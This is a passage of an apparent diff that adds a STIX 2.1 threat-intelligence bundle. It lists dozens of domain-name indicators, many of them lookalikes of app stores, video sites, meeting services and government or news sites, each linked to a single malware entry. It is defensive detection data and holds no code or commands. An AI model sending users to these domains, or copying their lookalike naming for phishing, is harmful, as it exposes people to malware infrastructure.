"2026-02-17T19:39:51.762018Z", + "modified": "2026-02-17T19:39:51.762018Z", + "relationship_type": "indicates", + "source_ref": "indicator--8f6d9e0f-a11b-46ce-9cc2-38d16561add9", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--837c39b5-aea5-490a-b79d-c539830bdd70", + "created": "2026-02-17T19:39:51.762098Z", + "modified": "2026-02-17T19:39:51.762098Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='playestore.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.762098Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--959be27a-ed09-49d3-af9c-88e7a09805b0", + "created": "2026-02-17T19:39:51.762426Z", + "modified": "2026-02-17T19:39:51.762426Z", + "relationship_type": "indicates", + "source_ref": "indicator--837c39b5-aea5-490a-b79d-c539830bdd70", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--140ec46d-0cee-4c9e-b2fc-475b509904fa", + "created": "2026-02-17T19:39:51.762506Z", + "modified": "2026-02-17T19:39:51.762506Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='youtu-be.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.762506Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9cdf3acc-56c8-4b9d-95f1-5089c0c6bd53", + "created": "2026-02-17T19:39:51.762838Z", + "modified": "2026-02-17T19:39:51.762838Z", + "relationship_type": "indicates", + "source_ref": "indicator--140ec46d-0cee-4c9e-b2fc-475b509904fa", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8b0d6e2a-f59c-4419-8698-61a3441aebfc", + "created": "2026-02-17T19:39:51.762918Z", + "modified": "2026-02-17T19:39:51.762918Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='advfb.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.762918Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--74bb3ff8-cde5-42f1-9aa6-401def10a512", + "created": "2026-02-17T19:39:51.763287Z", + "modified": "2026-02-17T19:39:51.763287Z", + "relationship_type": "indicates", + "source_ref": "indicator--8b0d6e2a-f59c-4419-8698-61a3441aebfc", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--991306ea-d874-4c41-8e06-3867cd99a022", + "created": "2026-02-17T19:39:51.763367Z", + "modified": "2026-02-17T19:39:51.763367Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nemshi-news.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.763367Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--93258a1c-a2f4-46a6-866f-77db1c6b47be", + "created": "2026-02-17T19:39:51.763739Z", + "modified": "2026-02-17T19:39:51.763739Z", + "relationship_type": "indicates", + "source_ref": "indicator--991306ea-d874-4c41-8e06-3867cd99a022", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--65e8d482-d972-4399-ab2f-f850f7f3d675", + "created": "2026-02-17T19:39:51.763824Z", + "modified": "2026-02-17T19:39:51.763824Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wa-info.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.763824Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--50e34e10-41c7-48a6-8664-ef83283e6997", + "created": "2026-02-17T19:39:51.764148Z", + "modified": "2026-02-17T19:39:51.764148Z", + "relationship_type": "indicates", + "source_ref": "indicator--65e8d482-d972-4399-ab2f-f850f7f3d675", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--95f60ca5-3afb-4e17-85d0-512a84d07af1", + "created": "2026-02-17T19:39:51.764229Z", + "modified": "2026-02-17T19:39:51.764229Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='qamqors.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.764229Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--58e14ed9-6784-4677-b11c-dc0acba6e09e", + "created": "2026-02-17T19:39:51.764591Z", + "modified": "2026-02-17T19:39:51.764591Z", + "relationship_type": "indicates", + "source_ref": "indicator--95f60ca5-3afb-4e17-85d0-512a84d07af1", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--00f89c09-710a-4d6d-9932-a6202703b9bb", + "created": "2026-02-17T19:39:51.764673Z", + "modified": "2026-02-17T19:39:51.764673Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sitepref.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.764673Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6f573914-04fa-47de-ac5c-bc913fadd415", + "created": "2026-02-17T19:39:51.764998Z", + "modified": "2026-02-17T19:39:51.764998Z", + "relationship_type": "indicates", + "source_ref": "indicator--00f89c09-710a-4d6d-9932-a6202703b9bb", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--25e69adb-ba32-426d-ad0b-cfd564d370d2", + "created": "2026-02-17T19:39:51.765078Z", + "modified": "2026-02-17T19:39:51.765078Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='angop.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.765078Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--af218ca0-4c08-4f01-8ef0-4b1c4f4d8088", + "created": "2026-02-17T19:39:51.765472Z", + "modified": "2026-02-17T19:39:51.765472Z", + "relationship_type": "indicates", + "source_ref": "indicator--25e69adb-ba32-426d-ad0b-cfd564d370d2", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dbfbef2f-a230-4a88-96b8-d2306d6300f3", + "created": "2026-02-17T19:39:51.765553Z", + "modified": "2026-02-17T19:39:51.765553Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='safelyredirecting.digital']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.765553Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d517040b-2a6b-4245-ac6c-f20a63395ed3", + "created": "2026-02-17T19:39:51.765887Z", + "modified": "2026-02-17T19:39:51.765887Z", + "relationship_type": "indicates", + "source_ref": "indicator--dbfbef2f-a230-4a88-96b8-d2306d6300f3", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--449c2c25-4b53-4d94-9edc-91d0a864cff1", + "created": "2026-02-17T19:39:51.765965Z", + "modified": "2026-02-17T19:39:51.765965Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='suzuki.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.765965Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4b5eb8db-6816-4c9f-ae0f-f092700dc9fb", + "created": "2026-02-17T19:39:51.766281Z", + "modified": "2026-02-17T19:39:51.766281Z", + "relationship_type": "indicates", + "source_ref": "indicator--449c2c25-4b53-4d94-9edc-91d0a864cff1", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f8b0270d-7945-4cf8-b1f2-492bf677e4c0", + "created": "2026-02-17T19:39:51.766357Z", + "modified": "2026-02-17T19:39:51.766357Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='02s.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.766357Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--70ad093c-ddaf-46b3-b631-8a0bee0ef9a4", + "created": "2026-02-17T19:39:51.766708Z", + "modified": "2026-02-17T19:39:51.766708Z", + "relationship_type": "indicates", + "source_ref": "indicator--f8b0270d-7945-4cf8-b1f2-492bf677e4c0", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b078a965-4327-429c-a1a4-3fb7da3d8b75", + "created": "2026-02-17T19:39:51.766787Z", + "modified": "2026-02-17T19:39:51.766787Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pronews.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.766787Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3758ae72-203d-4495-bcbc-6e58af614b9c", + "created": "2026-02-17T19:39:51.767115Z", + "modified": "2026-02-17T19:39:51.767115Z", + "relationship_type": "indicates", + "source_ref": "indicator--b078a965-4327-429c-a1a4-3fb7da3d8b75", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e7d866f7-fd70-495d-a9d5-930b01b9a7b9", + "created": "2026-02-17T19:39:51.767193Z", + "modified": "2026-02-17T19:39:51.767193Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='linktothisa.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.767193Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3eff08da-41a0-43a9-a16b-13ce38dc651f", + "created": "2026-02-17T19:39:51.767522Z", + "modified": "2026-02-17T19:39:51.767522Z", + "relationship_type": "indicates", + "source_ref": "indicator--e7d866f7-fd70-495d-a9d5-930b01b9a7b9", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--eee2955b-f6a4-4154-8705-2eac796a9880", + "created": "2026-02-17T19:39:51.767603Z", + "modified": "2026-02-17T19:39:51.767603Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vendaswebs.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.767603Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--70f0e8bb-1536-48ef-a0ca-ca46fcae6913", + "created": "2026-02-17T19:39:51.767969Z", + "modified": "2026-02-17T19:39:51.767969Z", + "relationship_type": "indicates", + "source_ref": "indicator--eee2955b-f6a4-4154-8705-2eac796a9880", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3b878a43-411f-4007-813c-a2f45aed1f5d", + "created": "2026-02-17T19:39:51.768048Z", + "modified": "2026-02-17T19:39:51.768048Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='enigmase.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.768048Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cea74a69-4ef2-4279-80cb-0e9d5a4de3a7", + "created": "2026-02-17T19:39:51.768373Z", + "modified": "2026-02-17T19:39:51.768373Z", + "relationship_type": "indicates", + "source_ref": "indicator--3b878a43-411f-4007-813c-a2f45aed1f5d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--775f75a0-0744-44d7-84d8-380e691f6f08", + "created": "2026-02-17T19:39:51.768468Z", + "modified": "2026-02-17T19:39:51.768468Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='newsworldsports.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.768468Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0d24fc79-c764-49a8-9c0c-afcca9c69f9b", + "created": "2026-02-17T19:39:51.76879Z", + "modified": "2026-02-17T19:39:51.76879Z", + "relationship_type": "indicates", + "source_ref": "indicator--775f75a0-0744-44d7-84d8-380e691f6f08", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e4816273-7e7f-47a1-bf27-47656168ae8a", + "created": "2026-02-17T19:39:51.768866Z", + "modified": "2026-02-17T19:39:51.768866Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sportsnewz.site']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.768866Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7d402477-2bfa-4bdd-bffa-fc7d6a09b9b0", + "created": "2026-02-17T19:39:51.76925Z", + "modified": "2026-02-17T19:39:51.76925Z", + "relationship_type": "indicates", + "source_ref": "indicator--e4816273-7e7f-47a1-bf27-47656168ae8a", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dd9f2b68-02d2-4283-a4e7-26575b077496", + "created": "2026-02-17T19:39:51.769329Z", + "modified": "2026-02-17T19:39:51.769329Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='localegem.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.769329Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5863c3e6-3b8b-4b3b-8a40-8355a44fb912", + "created": "2026-02-17T19:39:51.769653Z", + "modified": "2026-02-17T19:39:51.769653Z", + "relationship_type": "indicates", + "source_ref": "indicator--dd9f2b68-02d2-4283-a4e7-26575b077496", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a9de46a8-3a7c-4ddc-95b4-bf1beb5ac4ee", + "created": "2026-02-17T19:39:51.769733Z", + "modified": "2026-02-17T19:39:51.769733Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wtc1111.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.769733Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--264ee849-bd54-4af2-b727-89e7ea7c94b4", + "created": "2026-02-17T19:39:51.770057Z", + "modified": "2026-02-17T19:39:51.770057Z", + "relationship_type": "indicates", + "source_ref": "indicator--a9de46a8-3a7c-4ddc-95b4-bf1beb5ac4ee", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--490e9b40-58f4-421e-a9bd-6487a6ff993d", + "created": "2026-02-17T19:39:51.770137Z", + "modified": "2026-02-17T19:39:51.770137Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='adibjan.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.770137Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c4ab65cd-93e4-4926-b5ff-4836600a74dc", + "created": "2026-02-17T19:39:51.770457Z", + "modified": "2026-02-17T19:39:51.770457Z", + "relationship_type": "indicates", + "source_ref": "indicator--490e9b40-58f4-421e-a9bd-6487a6ff993d", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--266b725f-b689-4c88-9fd1-56d43ac41c94", + "created": "2026-02-17T19:39:51.770535Z", + "modified": "2026-02-17T19:39:51.770535Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='verifyurl.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.770535Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--10ceba8d-8d9e-4518-9824-d3ce1243325f", + "created": "2026-02-17T19:39:51.770878Z", + "modified": "2026-02-17T19:39:51.770878Z", + "relationship_type": "indicates", + "source_ref": "indicator--266b725f-b689-4c88-9fd1-56d43ac41c94", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--42e23231-4919-48a5-80af-cde74b51e7a0", + "created": "2026-02-17T19:39:51.770958Z", + "modified": "2026-02-17T19:39:51.770958Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='miniiosapps.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.770958Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e4efdd8e-ac61-4002-870d-772e27d44fc6", + "created": "2026-02-17T19:39:51.771286Z", + "modified": "2026-02-17T19:39:51.771286Z", + "relationship_type": "indicates", + "source_ref": "indicator--42e23231-4919-48a5-80af-cde74b51e7a0", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--70a1d4aa-6346-4f3a-8c98-22acfd280100", + "created": "2026-02-17T19:39:51.771367Z", + "modified": "2026-02-17T19:39:51.771367Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='grvnews.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.771367Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6a4b6565-febd-45db-a0e6-941462fb433d", + "created": "2026-02-17T19:39:51.771689Z", + "modified": "2026-02-17T19:39:51.771689Z", + "relationship_type": "indicates", + "source_ref": "indicator--70a1d4aa-6346-4f3a-8c98-22acfd280100", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--16a5a7a2-13db-4326-9af2-89f9d5abb373", + "created": "2026-02-17T19:39:51.771769Z", + "modified": "2026-02-17T19:39:51.771769Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='zoometting.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.771769Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--469c2310-c630-44bc-ac9d-1ecf651edebf", + "created": "2026-02-17T19:39:51.772141Z", + "modified": "2026-02-17T19:39:51.772141Z", + "relationship_type": "indicates", + "source_ref": "indicator--16a5a7a2-13db-4326-9af2-89f9d5abb373", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fa8955f6-8c28-46a9-b8c2-16ae4ec7567a", + "created": "2026-02-17T19:39:51.772221Z", + "modified": "2026-02-17T19:39:51.772221Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='oilgy.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.772221Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2a24a2c6-4a72-4b8b-82d6-79ce992ffaca", + "created": "2026-02-17T19:39:51.772538Z", + "modified": "2026-02-17T19:39:51.772538Z", + "relationship_type": "indicates", + "source_ref": "indicator--fa8955f6-8c28-46a9-b8c2-16ae4ec7567a", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b25fd93e-22bc-48bb-a3e9-1fda5c3f0f57", + "created": "2026-02-17T19:39:51.772615Z", + "modified": "2026-02-17T19:39:51.772615Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='static-graph.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.772615Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--247071be-3ab0-49d7-8edb-6513469a3717", + "created": "2026-02-17T19:39:51.773008Z", + "modified": "2026-02-17T19:39:51.773008Z", + "relationship_type": "indicates", + "source_ref": "indicator--b25fd93e-22bc-48bb-a3e9-1fda5c3f0f57", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fca92db7-fabe-4afe-8497-ac9ebae60ca5", + "created": "2026-02-17T19:39:51.773088Z", + "modified": "2026-02-17T19:39:51.773088Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='correiosdeangola.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.773088Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--30d53c71-90b9-48fe-b4f8-5d0629e7f276", + "created": "2026-02-17T19:39:51.773418Z", + "modified": "2026-02-17T19:39:51.773418Z", + "relationship_type": "indicates", + "source_ref": "indicator--fca92db7-fabe-4afe-8497-ac9ebae60ca5", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5fe01d8f-b4b7-4a1a-a43c-66b83f9ba42c", + "created": "2026-02-17T19:39:51.773497Z", + "modified": "2026-02-17T19:39:51.773497Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='quickupdates.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.773497Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bbf666d0-15d0-4149-88db-da670f2a4274", + "created": "2026-02-17T19:39:51.773869Z", + "modified": "2026-02-17T19:39:51.773869Z", + "relationship_type": "indicates", + "source_ref": "indicator--5fe01d8f-b4b7-4a1a-a43c-66b83f9ba42c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bf0162b0-e531-4262-8c94-735dd2e0bda6", + "created": "2026-02-17T19:39:51.773976Z", + "modified": "2026-02-17T19:39:51.773976Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='popup-pw.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.773976Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--23ea3e3e-f082-467a-a4ed-05aac2dfcf94", + "created": "2026-02-17T19:39:51.774317Z", + "modified": "2026-02-17T19:39:51.774317Z", + "relationship_type": "indicates", + "source_ref": "indicator--bf0162b0-e531-4262-8c94-735dd2e0bda6", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--756b98c3-8f3e-4cfd-a576-158925d9fd0c", + "created": "2026-02-17T19:39:51.774404Z", + "modified": "2026-02-17T19:39:51.774404Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='folha8.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.774404Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bb5397f0-ccee-4eeb-8744-852e9e15caa3", + "created": "2026-02-17T19:39:51.774805Z", + "modified": "2026-02-17T19:39:51.774805Z", + "relationship_type": "indicates", + "source_ref": "indicator--756b98c3-8f3e-4cfd-a576-158925d9fd0c", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c5647f4f-8204-4789-9750-6e29f5afa4a9", + "created": "2026-02-17T19:39:51.774886Z", + "modified": "2026-02-17T19:39:51.774886Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='aoatlasescort.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.774886Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--27860f42-33a8-4bb4-9f6b-4f513e3afb4a", + "created": "2026-02-17T19:39:51.775206Z", + "modified": "2026-02-17T19:39:51.775206Z", + "relationship_type": "indicates", + "source_ref": "indicator--c5647f4f-8204-4789-9750-6e29f5afa4a9", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ea9a82e4-cea4-4bab-8748-cc6717b51bce", + "created": "2026-02-17T19:39:51.775285Z", + "modified": "2026-02-17T19:39:51.775285Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='eg-gov.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.775285Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--993a14ad-94d6-4694-a326-264a33b0abd2", + "created": "2026-02-17T19:39:51.775608Z", + "modified": "2026-02-17T19:39:51.775608Z", + "relationship_type": "indicates", + "source_ref": "indicator--ea9a82e4-cea4-4bab-8748-cc6717b51bce", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2c096c70-8ff5-477a-823e-7f06223f2aae", + "created": "2026-02-17T19:39:51.77569Z", + "modified": "2026-02-17T19:39:51.77569Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='newspool.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.77569Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8257b62b-8d08-4ffc-803d-29971fb1174f", + "created": "2026-02-17T19:39:51.776012Z", + "modified": "2026-02-17T19:39:51.776012Z", + "relationship_type": "indicates", + "source_ref": "indicator--2c096c70-8ff5-477a-823e-7f06223f2aae", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--529ef0ac-2a37-49e7-8802-383c4cc6e59a", + "created": "2026-02-17T19:39:51.776091Z", + "modified": "2026-02-17T19:39:51.776091Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tohna.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.776091Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7f0ecb66-40f8-49c6-b8dc-463015ff6c33", + "created": "2026-02-17T19:39:51.776411Z", + "modified": "2026-02-17T19:39:51.776411Z", + "relationship_type": "indicates", + "source_ref": "indicator--529ef0ac-2a37-49e7-8802-383c4cc6e59a", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fa4efe0f-c80e-462b-90df-86ecde9cbf35", + "created": "2026-02-17T19:39:51.776487Z", + "modified": "2026-02-17T19:39:51.776487Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kz-shops.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.776487Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bf5d9069-2d12-4329-adfe-9d2de9c45624", + "created": "2026-02-17T19:39:51.776961Z", + "modified": "2026-02-17T19:39:51.776961Z", + "relationship_type": "indicates", + "source_ref": "indicator--fa4efe0f-c80e-462b-90df-86ecde9cbf35", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2e38e4ba-6ece-4379-a4a7-2252f027615e", + "created": "2026-02-17T19:39:51.777061Z", + "modified": "2026-02-17T19:39:51.777061Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='teslal.shop']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.777061Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c2bdbad0-fdd2-4b9f-8939-e9b0638600f4", + "created": "2026-02-17T19:39:51.777399Z", + "modified": "2026-02-17T19:39:51.777399Z", + "relationship_type": "indicates", + "source_ref": "indicator--2e38e4ba-6ece-4379-a4a7-2252f027615e", + "target_ref": "malware--d392e660-8159-4485-be85-2c021db07c5d" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fdd0de2e-2bce-4e57-a71a-51f995df7222", + "created": "2026-02-17T19:39:51.777492Z", + "modified": "2026-02-17T19:39:51.777492Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='engine.ninja']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2026-02-17T19:39:51.777492Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1bad417a-c959-4a3f-b18b-b56ab4233e31", + "created": "2026-02-17T19:39:51.777821Z", + "modified": "2026-02-17T19:39:51.777821Z", + "relationship_type": "indicates", + "source_ref": "indicator--fdd0de2e-2bce-4e57-a71a-51f995df7222", + "target_ref": 